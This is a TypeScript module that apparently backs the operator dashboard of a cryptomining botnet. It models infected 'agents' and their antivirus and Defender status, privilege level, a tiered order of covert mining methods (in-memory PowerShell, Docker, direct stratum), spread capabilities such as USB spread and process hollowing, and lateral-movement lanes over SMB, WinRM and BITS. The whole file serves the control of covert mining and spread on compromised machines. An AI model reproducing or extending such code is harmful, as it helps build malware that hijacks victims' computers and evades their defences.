import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers'; import type { Agent } from '../types'; import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl'; /** Mirrors agent/miner/environment_probe.go */ export interface EnvironmentProbes { docker?: boolean; wsl?: boolean; pwsh?: boolean; dotnet?: boolean; gpu?: boolean; av_blocks_exe?: boolean; webview2?: boolean; } export interface StrategyReason { fact: string; inference: string; action: string; } export interface AdaptiveStrategyView { tier_order?: string[]; skip_tiers?: string[]; reasoning?: StrategyReason[]; confidence?: number; updated_at?: string; } export interface AtlasSkipView { tier: string; condition: string; reason: string; } export interface AccessDepthDiagnostics { environment_probes?: EnvironmentProbes; tier_chain_order?: string[]; tier_chain_skipped?: string[]; atlas_skips?: AtlasSkipView[]; lotl_tier?: string; lotl_attempts?: TierAttempt[]; active_method?: string; execution_mode?: string; adaptive_strategy?: AdaptiveStrategyView; strategy_reasoning?: StrategyReason[]; } export interface AccessDepthServerPolicy { lotl_onion_tiers?: string[]; mining_tier_order?: string[]; mining_skip_tiers?: string[]; triple_onion?: { recon_tiers?: string[]; deploy_lanes?: string[]; }; } export interface ProbeChip { key: string; label: string; ok: boolean; } export interface AccessDepthAttemptRow { tier: string; label: string; ok: boolean; error?: string; phase?: string; } export interface OnionTierRow { index: number; tier: string; label: string; status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral'; atlasCondition?: string; } export interface AccessDepthModel { platformLabel: string; osLine: string; probes: ProbeChip[]; spreadCaps: string[]; privilegeHints: string[]; activeTier?: string; activeTierLabel?: string; joinLane?: string; succeeded: AccessDepthAttemptRow[]; failed: AccessDepthAttemptRow[]; inProgressTier?: string; inProgressLabel?: string; pendingTiers: string[]; pendingLabels: string[]; miningOnion: OnionTierRow[]; spreadOnion: OnionTierRow[]; tripleOnionSummary?: string; miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive'; adaptiveActive: boolean; strategyReasoning: StrategyReason[]; adaptiveConfidence?: number; atlasSkips: AtlasSkipView[]; phenotypeSource?: string; phenotypeSpreadLane?: string; } /** Default mining tier onion pushed at agent auth when Calibrate sends no override. */ export const DEFAULT_MINING_TIER_ORDER = [ 'exe_subprocess', 'docker_load', 'container', 'wsl', 'ps_inmemory', 'cpu_inprocess', 'gpu_subprocess', 'stratum_direct', ] as const; const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports']; const DEFAULT_TRIPLE_DEPLOY = [ 'discover_and_join', 'docker', 'wsl', 'powershell', 'dotnet', 'bits_curl', 'smb', 'winrm', ]; export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined { if (!raw || typeof raw !== 'object') return undefined; const row = raw as Record; const probes: EnvironmentProbes = {}; for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) { if (typeof row[key] === 'boolean') probes[key] = row[key]; } return Object.keys(probes).length > 0 ? probes : undefined; } export function parseAccessDepthDiagnostics(raw: Record): AccessDepthDiagnostics { const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts); const tier_chain_order = Array.isArray(raw.tier_chain_order) ? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped) ? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const lotl_tier = (typeof raw.lotl_tier === 'string' && raw.lotl_tier) || (typeof raw.active_tier === 'string' && raw.active_tier) || undefined; const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy); const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning; const atlas_skips = parseAtlasSkips(raw.atlas_skips); return { environment_probes: parseEnvironmentProbes(raw.environment_probes), tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined, tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined, atlas_skips, lotl_tier, lotl_attempts: attempts.length ? attempts : undefined, active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined, execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined, adaptive_strategy: adaptive, strategy_reasoning: reasoning, }; } function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined { if (!Array.isArray(raw)) return undefined; const out: StrategyReason[] = []; for (const row of raw) { if (!row || typeof row !== 'object') continue; const r = row as Record; if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') { continue; } out.push({ fact: r.fact, inference: r.inference, action: r.action }); } return out.length ? out : undefined; } function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined { if (!raw || typeof raw !== 'object') return undefined; const row = raw as Record; const tier_order = Array.isArray(row.tier_order) ? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const skip_tiers = Array.isArray(row.skip_tiers) ? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '') : undefined; const reasoning = parseStrategyReasoning(row.reasoning); const confidence = typeof row.confidence === 'number' ? row.confidence : undefined; const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined; if (!tier_order?.length && !reasoning?.length) return undefined; return { tier_order, skip_tiers, reasoning, confidence, updated_at }; } function ordersDiffer(a: readonly string[], b: readonly string[]): boolean { if (a.length !== b.length) return true; return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase()); } function platformLabel(platform?: string): string { const p = (platform || '').toLowerCase(); if (p.includes('darwin') || p.includes('mac')) return 'macOS'; if (p.includes('linux')) return 'Linux'; if (p.includes('win') || p === 'windows') return 'Windows'; return platform?.trim() || 'Unknown'; } function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] { const p = probes ?? {}; const chips: ProbeChip[] = [ { key: 'docker', label: 'Docker', ok: p.docker === true }, { key: 'wsl', label: 'WSL', ok: p.wsl === true }, { key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true }, { key: 'dotnet', label: 'dotnet', ok: p.dotnet === true }, { key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true }, { key: 'webview2', label: 'WebView2', ok: p.webview2 === true }, ]; if (p.av_blocks_exe === true) { chips.push({ key: 'av', label: 'AV blocks exe', ok: false }); } return chips.filter((c) => c.ok || probes != null); } function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined { if (!Array.isArray(raw)) return undefined; const out: AtlasSkipView[] = []; for (const row of raw) { if (!row || typeof row !== 'object') continue; const r = row as Record; if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue; out.push({ tier: r.tier, condition: r.condition, reason: typeof r.reason === 'string' ? r.reason : '', }); } return out.length ? out : undefined; } export function atlasConditionLabel(condition: string): string { switch (condition) { case 'defender_on': return 'Defender on'; case 'no_docker': return 'no Docker'; case 'av_blocks_exe': return 'AV blocks exe'; case 'goos=windows': return 'Windows'; case 'goos=linux': return 'Linux'; default: return condition.replace(/_/g, ' '); } } export function atlasSkipDisplayLabel(skip: AtlasSkipView): string { return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`; } function spreadCapabilities(agent: Agent): string[] { const caps = agent.capabilities; const out: string[] = []; if (caps?.auto_spread) out.push('auto_spread'); if (caps?.mesh_p2p) out.push('mesh_p2p'); if (caps?.hole_punch) out.push('hole_punch'); if (caps?.process_hollowing) out.push('process_hollowing'); if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread'); if (caps?.remote_aggressive) out.push('remote_aggressive'); return out; } function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] { const hints: string[] = []; if (agent.agent_elevated === true) hints.push('elevated'); else if (agent.agent_elevated === false) hints.push('standard user'); if (agent.defender_rtp === true) hints.push('Defender RTP on'); else if (agent.defender_enabled === true) hints.push('Defender on'); if (agent.ssh_available === true) hints.push('SSH reachable'); if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`); if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`); return hints; } function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] { return attempts.map((a) => ({ tier: a.tier, label: formatLotlTierLabel(a.tier), ok: a.ok, error: a.error, phase: a.phase, })); } function uniqueAttemptTiers(attempts: TierAttempt[]): Set { return new Set(attempts.map((a) => a.tier.trim().toLowerCase())); } function resolveMiningOrder( diag: AccessDepthDiagnostics | undefined, policy: AccessDepthServerPolicy | undefined, agent: Agent, ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } { if (diag?.adaptive_strategy?.tier_order?.length) { const adaptiveOrder = diag.adaptive_strategy.tier_order; const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER); if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) { return { order: adaptiveOrder, skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [], source: 'adaptive', }; } } if (diag?.tier_chain_order?.length) { return { order: diag.tier_chain_order, skipped: diag.tier_chain_skipped ?? [], source: 'agent', }; } if (policy?.mining_tier_order?.length) { return { order: policy.mining_tier_order, skipped: policy.mining_skip_tiers ?? [], source: 'server', }; } if (agent.chain_order?.length) { return { order: agent.chain_order, skipped: [], source: 'agent', }; } return { order: [...DEFAULT_MINING_TIER_ORDER], skipped: diag?.tier_chain_skipped ?? [], source: 'default', }; } function buildOnionRows( order: string[], skipped: string[], attempts: TierAttempt[], activeTier?: string, atlasSkips: AtlasSkipView[] = [], ): OnionTierRow[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); const atlasByTier = new Map(); for (const skip of atlasSkips) { atlasByTier.set(skip.tier.toLowerCase(), skip); } const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase())); const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase())); const active = activeTier?.toLowerCase(); const orderLower = new Set(order.map((s) => s.toLowerCase())); const fullOrder = [ ...order, ...skipped.filter((s) => !orderLower.has(s.toLowerCase())), ...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())), ]; return fullOrder.map((tier, i) => { const key = tier.toLowerCase(); const atlas = atlasByTier.get(key); let status: OnionTierRow['status'] = 'neutral'; if (active && key === active) status = 'active'; else if (atlas) status = 'skipped_by_atlas'; else if (skippedSet.has(key)) status = 'skipped'; else if (okSet.has(key)) status = 'done'; else if (failSet.has(key)) status = 'failed'; else status = 'pending'; return { index: i + 1, tier, label: formatLotlTierLabel(tier), status, atlasCondition: atlas?.condition, }; }); } function computePendingTiers( order: string[], skipped: string[], attempts: TierAttempt[], ): string[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); const touched = uniqueAttemptTiers(attempts); return order.filter((t) => { const key = t.toLowerCase(); return !skippedSet.has(key) && !touched.has(key); }); } function detectInProgress( agent: Agent, attempts: TierAttempt[], pending: string[], activeTier?: string, ): string | undefined { if (agent.status !== 'online') return undefined; if (activeTier) { const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase()); if (!lastForActive || !lastForActive.ok) return activeTier; } return pending[0]; } export function buildAccessDepthModel( agent: Agent, diagnostics?: AccessDepthDiagnostics, policy?: AccessDepthServerPolicy, ): AccessDepthModel { const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? []; const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier; const atlasSkips = diagnostics?.atlas_skips ?? []; const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent); const pending = computePendingTiers(order, skipped, attempts); const inProgressTier = detectInProgress(agent, attempts, pending, activeTier); const spreadOrder = policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0 ? policy.lotl_onion_tiers : [...DEFAULT_LOTL_ONION_TIERS]; const recon = policy?.triple_onion?.recon_tiers?.length ? policy.triple_onion.recon_tiers : DEFAULT_TRIPLE_RECON; const deploy = policy?.triple_onion?.deploy_lanes?.length ? policy.triple_onion.deploy_lanes : DEFAULT_TRIPLE_DEPLOY; const osParts = [platformLabel(agent.platform)]; if (agent.os_version) osParts.push(agent.os_version); if (agent.arch) osParts.push(agent.arch); return { platformLabel: platformLabel(agent.platform), osLine: osParts.join(' · '), probes: probeChips(diagnostics?.environment_probes, agent), spreadCaps: spreadCapabilities(agent), privilegeHints: privilegeHints(agent, diagnostics), activeTier, activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined, joinLane: agent.join_lane, succeeded: attemptRows(attempts.filter((a) => a.ok)), failed: attemptRows(attempts.filter((a) => !a.ok)), inProgressTier, inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined, pendingTiers: pending, pendingLabels: pending.map(formatLotlTierLabel), miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips), spreadOnion: spreadOrder.map((tier, i) => ({ index: i + 1, tier, label: formatLotlTierLabel(tier), status: 'neutral' as const, })), tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`, miningOrderSource: source, adaptiveActive: source === 'adaptive', strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [], adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence, atlasSkips, phenotypeSource: agent.inherited_phenotype?.source_agent_name, phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane, }; } export function parseAccessDepthServerPolicy(config: { server?: { lotl_onion_tiers?: string[]; triple_onion_policy?: { recon_tiers?: string[]; deploy_lanes?: string[]; }; }; }): AccessDepthServerPolicy { const server = config.server; return { lotl_onion_tiers: server?.lotl_onion_tiers, mining_tier_order: [...DEFAULT_MINING_TIER_ORDER], triple_onion: server?.triple_onion_policy ? { recon_tiers: server.triple_onion_policy.recon_tiers, deploy_lanes: server.triple_onion_policy.deploy_lanes, } : undefined, }; }